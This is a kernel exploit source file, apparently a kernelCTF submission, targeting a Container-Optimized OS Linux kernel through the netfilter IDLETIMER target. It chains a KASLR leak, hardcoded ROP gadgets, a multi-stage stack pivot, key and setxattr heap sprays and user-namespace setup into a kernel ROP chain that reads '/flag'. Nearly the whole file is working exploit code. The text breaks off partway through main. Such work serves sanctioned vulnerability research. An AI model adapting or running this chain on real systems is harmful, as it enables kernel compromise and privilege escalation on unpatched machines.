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| // Reproduce environment at: https://google.github.io/security-research/kernelctf/rules.html
#include <linux/membarrier.h>
#include <linux/netfilter.h>
#include <linux/netfilter/x_tables.h>
#include <linux/netfilter/xt_IDLETIMER.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
// Exploit for cos-113-18244.582.2 @ Nebula Security
// --- initial stack pivot gadgets ---
// In short, the stack pivoit is:
// 1. control PC, the rdi/r13 + 0x90 is a controllable user_keypayload range.
// 2. control PC and rdx, the rbx = rdi is a controllable nprem range.
// 3. control PC and rsp = rdx, we can now start ROP. Write to [rbx] will not crash.
size_t timer_stage1_callback = 0xffffffff81313849;
// timer_stage1_callback: mov rdi, [r13+0xc8]; mov rax, [r13+0xc0]; mov rsi, r12; call rax;
// mov r.{1,4}, \[r[d1][i13]\+0x[9-f][0-f]\].*?mov r.{1,4}, \[r[d1][i13]\+0x[9-f][0-f]\].*?
// This is the first CFH happened, we use timer_stage1_callback to control rdi and rip at the same time
// rdi and rip are fetched from the next slot, currently we use user_keypayload to place pointer there
size_t nperm_stage1_dispatch = 0xffffffff810643b9;
// nperm_stage1_dispatch:
// mov rbx, rdi; sub rsp, 0x20; movzx r12d, byte ptr [rdi+0x7a];
// mov rdx, [rdi+0xc0]; mov rax, gs:[0x28]; mov [rsp+0x18], rax; xor eax, eax;
// mov rax, [rdi+8]; mov esi, r12d; mov rax, [rax+0xa8]; call rax;
// This is mainly for control rdx and rip (will do stack pivoit using rdx in the next gadget).
// This also set rbx to a valid address so the stack pivoiting gadget won't crash.
size_t nperm_stack_pivot = 0xffffffff81db2b0f;
// nperm_stack_pivot: push rdx; add [rcx], dh; rcr byte ptr [rbx+0x5d], 0x41; pop rsp; pop r13; ret;
// This is the final stack pivoit
// We failed to use builder.AddPayload(payload, Register::{RDI, R13}, [0x90-0x170]);
// --- The above gadgets are not support by libxdk so we don't need to modify those ---
size_t rpc_prepare_task_dispatch = 0xffffffff822248b5; // (rpc_prepare_task+5) mov rax,[rdi+0x98]; mov rsi,[rdi+0x90]; mov rax,[rax]; jmp __x86_indirect_thunk_array
size_t push_rsi_jmp_qword_ptr_rsi_plus_0x66 = 0xffffffff81c6d191; // push rsi ; jmp qword ptr [rsi+0x66]
size_t pop_rsp_pop_r13_ret = 0xffffffff81002148; // pop rsp ; pop r13 ; ret
size_t add_rsp_0x88_ret = 0xffffffff81240dbd; // add rsp, 0x88 ; ret
size_t boot_command_line = 0xffffffff84560920; // boot_command_line
size_t __init_begin = 0xffffffff8445d000; // __init_begin
size_t nperm_addr = 0xffffffff8445d000 + 0x200000; // __init_begin + 0x200000, avoid compiler complain
#include <xdk/core.h>
#include <xdk/postrip.h>
class SubmissionTarget : public Target {
public:
using Target::Target;
std::vector<RopItem> GetRopActionItemsByName(const std::string& name) const {
auto it = rop_actions.find(name);
if (it == rop_actions.end())
throw ExpKitError("missing custom RopAction %s", name.c_str());
return it->second;
}
};
static SubmissionTarget *g_target = nullptr;
uint64_t kaslr;
static void add_target_rop_action(RopChain& rop_chain, const char* name,
std::vector<uint64_t> arguments = {}) {
std::vector<RopItem> rop_items = g_target->GetRopActionItemsByName(name);
for (const auto& item : rop_items) {
if (item.type == RopItemType::CONSTANT_VALUE) {
rop_chain.Add(item.value);
} else if (item.type == RopItemType::ARGUMENT) {
if (item.value >= arguments.size())
throw ExpKitError(
"not enough arguments for custom RopAction %s, got %zu arguments, but needed %lu",
name, arguments.size(), item.value + 1);
rop_chain.Add(arguments[item.value]);
} else if (item.type == RopItemType::SYMBOL) {
rop_chain.Add(item.value, true);
} else {
throw ExpKitError("unexpected RopAction item type %u for %s",
item.type, name);
}
}
}
// initialize libxdk target DB
INCBIN(target_db, "target_db.kxdb");
// manually register symbols not in kxdb via AddSymbol
void init_libxdk(void) {
static TargetDb kxdb("target_db.kxdb", target_db);
static SubmissionTarget target("", "");
static bool initialized = false;
if (!initialized) {
SubmissionTarget st("kernelctf", "cos-113-18244.582.2");
st.AddSymbol("timer_stage1_callback", 0x313849);
st.AddSymbol("nperm_stage1_dispatch", 0x643b9);
st.AddSymbol("nperm_stack_pivot", 0xdb2b0f);
st.AddSymbol("rpc_prepare_task_dispatch", 0x12248b5);
st.AddSymbol("push_rsi_jmp_qword_ptr_rsi_plus_0x66", 0xc6d191);
st.AddSymbol("pop_rsp_pop_r13_ret", 0x2148);
st.AddSymbol("add_rsp_0x88_ret", 0x240dbd);
st.AddSymbol("boot_command_line", 0x3560920);
st.AddStruct("work_struct", 0x20, {
{"data", 0x00, 8},
{"entry.next", 0x08, 8},
{"entry.prev", 0x10, 8},
{"func", 0x18, 8},
});
st.AddStruct("idletimer_tg", 0x100, {
{"timer.entry.pprev", 0x90, 8},
{"timer.expires", 0x98, 8},
{"timer.function", 0xa0, 8},
{"timer.flags", 0xa8, 4},
});
st.AddRopAction("write_what_where_64_cfh", {
{RopItemType::SYMBOL, 0x2a0d4c},
{RopItemType::ARGUMENT, 0},
{RopItemType::ARGUMENT, 1},
{RopItemType::SYMBOL, 0x1ff6c5},
});
st.AddRopAction("filp_open_path", {
{RopItemType::SYMBOL, 0xb083be},
{RopItemType::ARGUMENT, 1},
{RopItemType::SYMBOL, 0x9376ab},
{RopItemType::ARGUMENT, 2},
{RopItemType::ARGUMENT, 0},
{RopItemType::SYMBOL, 0x43a420},
});
st.AddRopAction("kernel_read_buf_from_rax", {
{RopItemType::SYMBOL, 0x26317d},
{RopItemType::SYMBOL, 0xe0e4a},
{RopItemType::ARGUMENT, 0},
{RopItemType::ARGUMENT, 1},
{RopItemType::ARGUMENT, 2},
{RopItemType::SYMBOL, 0x43cf10},
});
st.AddRopAction("printk_fmt_buf", {
{RopItemType::SYMBOL, 0xafda91},
{RopItemType::ARGUMENT, 0},
{RopItemType::ARGUMENT, 1},
{RopItemType::SYMBOL, 0x20f4b0},
});
// Panic the kernel in CI to avoid timeout.
st.AddRopAction("park_loop", {
{RopItemType::SYMBOL, 0xdeadbeefcafebabe},
{RopItemType::SYMBOL, 0xdeadbeefcafebabe},
{RopItemType::CONSTANT_VALUE, 0xdeadbeefcafebabe},
{RopItemType::SYMBOL, 0xdeadbeefcafebabe},
});
st.AddRopAction("queue_work_cpu0_then_stop", {
{RopItemType::SYMBOL, 0xafda91},
{RopItemType::ARGUMENT, 0},
{RopItemType::ARGUMENT, 1},
{RopItemType::SYMBOL, 0x1c87f8},
{RopItemType::SYMBOL, 0x9376ab},
{RopItemType::CONSTANT_VALUE, 0x0},
{RopItemType::CONSTANT_VALUE, 0x0},
{RopItemType::SYMBOL, 0xfe7c0},
});
kxdb.AddTarget(st);
target.Merge(kxdb.AutoDetectTarget());
initialized = true;
}
g_target = ⌖
printf("[+] Target: %s %s\n", target.GetDistro().c_str(), target.GetReleaseName().c_str());
}
// KASLR-adjusted kernel symbol/gadget address calculation
void setup_kernel_address() {
timer_stage1_callback = kaslr + g_target->GetSymbolOffset("timer_stage1_callback");
nperm_stage1_dispatch = kaslr + g_target->GetSymbolOffset("nperm_stage1_dispatch");
nperm_stack_pivot = kaslr + g_target->GetSymbolOffset("nperm_stack_pivot");
rpc_prepare_task_dispatch =
kaslr + g_target->GetSymbolOffset("rpc_prepare_task_dispatch");
push_rsi_jmp_qword_ptr_rsi_plus_0x66 =
kaslr + g_target->GetSymbolOffset("push_rsi_jmp_qword_ptr_rsi_plus_0x66");
pop_rsp_pop_r13_ret = kaslr + g_target->GetSymbolOffset("pop_rsp_pop_r13_ret");
add_rsp_0x88_ret = kaslr + g_target->GetSymbolOffset("add_rsp_0x88_ret");
boot_command_line = kaslr + g_target->GetSymbolOffset("boot_command_line");
// __init_begin = kaslr + g_target->GetSymbolOffset("__init_begin");
// nperm_addr = __init_begin + 0x200000;
// nperm_addr = kaslr + 0x3697000; // borrow from the initial NPERM exploit, kind of image irrlevant
nperm_addr = kaslr + 0x355d000; // __init_begin + 0x200000;
printf("[!] Nperm addr: 0x%lx\n", nperm_addr);
}
/* ============================= Nperm =============================*/
#include <sys/wait.h>
void pgvAdd(int idx, int order, int nr);
void *pgvMap(int idx);
void pgvDel(int idx);
void unshare_setup();
// note: 0xffffffff84697000 for reference, but no need to be the same.
void nperm(){
unshare_setup();
size_t ctx[0x200] = {};
size_t fake_work_data_off = g_target->GetFieldOffset("work_struct", "data");
size_t fake_work_entry_next_off = g_target->GetFieldOffset("work_struct", "entry.next");
size_t fake_work_entry_prev_off = g_target->GetFieldOffset("work_struct", "entry.prev");
size_t fake_work_func_off = g_target->GetFieldOffset("work_struct", "func");
size_t fake_work_size = g_target->GetStructSize("work_struct");
// finish stack pivot
for (int i = 0; i < 0x200; i++) {
ctx[i] = 0;
}
ctx[1] = nperm_addr - 0xa8 + 16; // +0xa8=nperm[2]
ctx[2] = nperm_stack_pivot; // rax = New PC
ctx[24] = nperm_addr + 8 * 25; // PC = Nprem[26]
// nperm_stack_pivot: push rdx; add [rcx], dh; rcr byte ptr [rbx+0x5d], 0x41; pop rsp; pop r13; ret;
// rsp = rdx = Nprem[24]; r13 = Nprem[25]
// Real ROP
size_t work_base = boot_command_line;
size_t pivot_base = work_base + 0x100;
size_t path_ptr = pivot_base + 0x400;
size_t fmt_ptr = path_ptr + 0x10;
size_t pos_ptr = fmt_ptr + 0x10;
size_t buf_ptr = pos_ptr + 0x20;
// The odd constants are "target - 0xc0" because the write gadget is:
// mov qword ptr [rax + 0xc0], rdx ; ret
size_t fake_work_list = work_base + 0x08;
size_t pivot_indirect_window = pivot_base - 0x60;
/*
* WORK_BASE : fake work_struct + rpc_prepare_task slots
* PIVOT_BASE : process-context pivot metadata + final ROP stack
* PATH_PTR : "/flag"
* FMT_PTR : "\x010%s\n"
* POS_PTR : loff_t position for kernel_read()
* BUF_PTR : kernel_read() output buffer
*
* WORK_BASE+fake_work_data_off : fake work_struct.data
* WORK_BASE+fake_work_entry_next_off : fake work.entry.next
* WORK_BASE+fake_work_entry_prev_off : fake work.entry.prev
* WORK_BASE+fake_work_func_off : fake work.func / stage1 dispatcher
* WORK_BASE+fake_work_size : first slot after work_struct
* WORK_BASE+0x90 : stage2 RSI base
* WORK_BASE+0x98 : pointer to dispatch target slot
* WORK_BASE+0xa0 : dispatch target contents
* PIVOT_BASE+0x00 : pop-rsp chain head
* PIVOT_BASE+0x66 : indirect jump slot for pop rsp
*/
// below are data-oly, no need to adapt libxdk
size_t fake_work_data = 0x0000000fffffffe0;
size_t file_open_flags = 0x0000000000040000;
size_t read_count = 0x0000000000000080;
size_t flag_string = 0x00000067616c662f; // backup: 0x616d642f636f7270;
size_t fmt_lo = 0x0a73253001; // \x010%s\n
size_t fmt_hi = 0;
auto append_qword_write = [&](RopChain& rop_chain, size_t target_addr,
uint64_t value) {
add_target_rop_action(rop_chain, "write_what_where_64_cfh",
{target_addr - 0xc0, value});
};
auto append_payload_write = [&](RopChain& rop_chain, size_t target_base,
Payload& payload) {
std::vector<uint8_t> payload_data = payload.GetUsedData();
for (size_t offset = 0; offset < payload_data.size();
offset += sizeof(uint64_t)) {
uint64_t value = 0;
memcpy(&value, payload_data.data() + offset, sizeof(uint64_t));
append_qword_write(rop_chain, target_base + offset, value);
}
};
int rop = 26;
// Build fake work_struct and rpc_prepare_task slots under WORK_BASE with
// libxdk Payload/RopChain instead of a hand-written ctx[rop++] sequence.
const size_t work_dispatch_rsi_off = 0x90;
const size_t work_dispatch_target_ptr_off = 0x98;
const size_t work_dispatch_target_off = 0xa0;
Payload work_payload(work_dispatch_target_off + sizeof(uint64_t));
work_payload.SetU64(fake_work_data_off, fake_work_data);
work_payload.SetU64(fake_work_entry_next_off, fake_work_list);
work_payload.SetU64(fake_work_entry_prev_off, fake_work_list);
work_payload.SetU64(fake_work_func_off, rpc_prepare_task_dispatch);
work_payload.SetU64(fake_work_size, 0x0);
work_payload.SetU64(work_dispatch_rsi_off, pivot_base);
work_payload.SetU64(work_dispatch_target_ptr_off, pivot_indirect_window);
work_payload.SetU64(work_dispatch_target_off,
push_rsi_jmp_qword_ptr_rsi_plus_0x66);
RopChain work_setup_rop(*g_target, kaslr);
append_payload_write(work_setup_rop, work_base, work_payload);
for (uint64_t word : work_setup_rop.GetDataWords())
ctx[rop++] = word;
// Lay out the process-context pivot metadata and the final ROP stack under
// PIVOT_BASE with a single libxdk Payload.
RopChain stage2_stack(*g_target, kaslr);
// Final process-context ROP stack:
// write "/flag"
// write printk fmt
// zero loff_t
// filp_open -> kernel_read -> _printk
append_qword_write(stage2_stack, path_ptr, flag_string);
append_qword_write(stage2_stack, fmt_ptr, fmt_lo);
append_qword_write(stage2_stack, fmt_ptr + 0x08, fmt_hi);
append_qword_write(stage2_stack, pos_ptr, 0x0);
add_target_rop_action(stage2_stack, "filp_open_path",
{path_ptr, file_open_flags, 0x0});
add_target_rop_action(stage2_stack, "kernel_read_buf_from_rax",
{buf_ptr, read_count, pos_ptr});
add_target_rop_action(stage2_stack, "printk_fmt_buf",
{buf_ptr, fmt_ptr});
add_target_rop_action(stage2_stack, "park_loop");
std::vector<uint8_t> pivot_metadata(0x70, 0);
memcpy(pivot_metadata.data() + 0x08, &add_rsp_0x88_ret,
sizeof(add_rsp_0x88_ret));
memcpy(pivot_metadata.data() + 0x66, &pop_rsp_pop_r13_ret,
sizeof(pop_rsp_pop_r13_ret));
Payload pivot_payload(0x98 + stage2_stack.GetByteSize());
pivot_payload.Set(0x00, pivot_metadata);
pivot_payload.Set(0x98, stage2_stack.GetData());
RopChain pivot_setup_rop(*g_target, kaslr);
append_payload_write(pivot_setup_rop, pivot_base, pivot_payload);
for (uint64_t word : pivot_setup_rop.GetDataWords())
ctx[rop++] = word;
// Softirq -> process-context bridge:
// queue fake work on CPU0 via execute_in_process_context+0x48
// then stop CPU1 so CPU0 can run the queued kworker path
RopChain queue_bridge(*g_target, kaslr);
add_target_rop_action(queue_bridge, "queue_work_cpu0_then_stop",
{work_base, 0x0});
for (uint64_t word : queue_bridge.GetDataWords())
ctx[rop++] = word;
// For 3.5 GB mem
pgvAdd(1,9,0x610);
size_t to_allocate = 0x7600;
for(int i = 0 ; i < to_allocate; i+=1){
char* addr = (char*)mmap(0,0x1000,PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_PRIVATE,-1,0);
if( (long ) addr == -1 )
break;
memcpy(addr,ctx,sizeof(ctx));
}
pgvDel(1);
}
#define N_THREADS 1
void NPERM(){
int pid =fork();
if(pid==0){
nperm();
exit(0);
}
waitpid(pid,0,0);
}
/* ============================= Nperm =============================*/
/* ========================= General Hepler ======================== */
#define SYSCHK(x) \
({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
perror("SYSCHK(" #x ")"); \
__res; \
})
#include <sched.h>
void pin_to_cpu(int cpu) {
cpu_set_t set;
if (cpu < 0)
return;
CPU_ZERO(&set);
CPU_SET((unsigned)cpu, &set);
SYSCHK(sched_setaffinity(0, sizeof(set), &set));
}
/* ========================= General Hepler ======================== */
/* ======================= key_payload spray ======================= */
#include <sys/syscall.h>
// #include <linux/keyctl.h>
enum {
kWarmupKeyCount = 8,
kStageKeyCount = 40,
};
long long counter = 0;
int warmup_keys[kWarmupKeyCount];
int stage_keys[kStageKeyCount];
char description[0x20];
unsigned char buf[0x1000];
int key_alloc_fast() {
snprintf(description, sizeof(description), "key%lld", counter++);
// return keyAdd(description, buf, 220);
return syscall(__NR_add_key, "user", description, buf, 220, KEY_SPEC_PROCESS_KEYRING);
}
int key_unlink_fast(int key) {
// return keyDel(key); // this uses KEYCTL_REVOKE, but we want KEYCTL_UNLINK.
return syscall(__NR_keyctl, KEYCTL_UNLINK, key, KEY_SPEC_PROCESS_KEYRING);
}
/* ======================= key_payload spray ======================= */
/* ========================= setxattr spray ======================== */
#include <sys/xattr.h>
unsigned char buf_a[0x1000];
void setxattr_spray() { // not exist in libxdk
setxattr("/tmp/xattr", "spray", buf_a, 220, XATTR_CREATE);
}
/* ========================= setxattr spray ======================== */
/* =============================== User NS =============================== */
#include <fcntl.h>
#include <sched.h>
#define W(path, fmt, ...) ({ \
char __b[128]; \
int __n = snprintf(__b, sizeof(__b), fmt, ##__VA_ARGS__); \
int __fd = SYSCHK(open(path, O_WRONLY)); \
if (SYSCHK(write(__fd, __b, __n)) != __n) \
perror("short write"); \
close(__fd); \
})
void unshare_setup() {
uid_t u = getuid();
gid_t g = getgid();
SYSCHK(unshare(CLONE_NEWUSER));
W("/proc/self/setgroups", "deny\n");
W("/proc/self/uid_map", "0 %d 1\n", u);
W("/proc/self/gid_map", "0 %d 1\n", g);
SYSCHK(setresgid(0,0,0));
SYSCHK(setresuid(0,0,0));
SYSCHK(unshare(CLONE_NEWNET | CLONE_NEWNS));
}
/* =============================== User NS =============================== */
struct ipt_replace *repl;
size_t repl_len;
void vuln_setup(int fd);
int trigger_vuln() { // This should crash the kernel directly
system("echo 233 > /tmp/xattr"); // for setxattr spray
((long long*)buf_a)[19] = 4000; // expires
((long long*)buf_a)[20] = 0xdeadbeefcafebabe; // RIP
unshare_setup();
while (1) {
int fd = SYSCHK(socket(AF_INET, SOCK_RAW, IPPROTO_RAW));
vuln_setup(fd);
setxattr_spray();
SYSCHK(setsockopt(fd, IPPROTO_IP, IPT_SO_SET_REPLACE, repl, (socklen_t)repl_len));
sleep(2);
close(fd);
}
sleep(999);
return 0;
}
int main(int argc, char **argv) {
if (argc > 1 && strcmp(argv[1], "--vuln-trigger") == 0) {
return trigger_vuln();
}
pin_to_cpu(1);
init_libxdk();
uint64_t num_pages = g_target->GetNumPages();
kaslr = leak_kaslr_base(num_pages, /* samples = */ 100, /* trials = */ 3);
// kaslr = bypass_kaslr();
printf("[+] KASLR slide: 0x%lx\n", kaslr);
setup_kernel_address();
size_t timer_entry_pprev_idx =
g_target->GetFieldOffset("idletimer_tg", "timer.entry.pprev") / sizeof(uint64_t);
size_t timer_expires_idx =
g_target->GetFieldOffset("idletimer_tg", "timer.expires") / sizeof(uint64_t);
size_t timer_function_idx =
g_target->GetFieldOffset("idletimer_tg", "timer.function") / sizeof(uint64_t);
size_t timer_flags_idx =
g_target->GetFieldOffset("idletimer_tg", "timer.flags") / sizeof(uint64_t);
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